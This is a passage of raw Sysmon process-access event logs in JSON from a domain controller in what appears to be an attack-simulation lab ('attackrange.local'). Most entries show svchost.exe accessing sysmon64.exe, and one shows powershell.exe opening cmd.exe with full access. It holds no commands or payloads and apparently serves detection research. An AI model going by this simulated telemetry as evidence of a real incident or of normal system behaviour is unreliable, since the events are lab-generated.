EM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5371,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.166\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.166","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5372,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.166\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.166","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5373,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.166\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.166","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5374,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.166\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.166","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5375,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.166\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.166","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5376,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.166\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.166","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5377,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.166\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.166","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5378,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.166\r\nSourceProcessGUID: {90617006-416E-5F2D-0000-001033270800}\r\nSourceProcessId: 4384\r\nSourceThreadId: 4408\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-416C-5F2D-0000-0010CDF10700}\r\nTargetProcessId: 4176\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1F3FFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b42a7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b452d|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3ed3|UNKNOWN(00007FF8EA7A2723)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.166","SourceProcessGUID":"{90617006-416E-5F2D-0000-001033270800}","SourceProcessId":"4384","SourceThreadId":"4408","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-416C-5F2D-0000-0010CDF10700}","TargetProcessId":"4176","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1f3fff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b42a7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b452d|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3ed3|UNKNOWN(00007FF8EA7A2723)","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5379,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 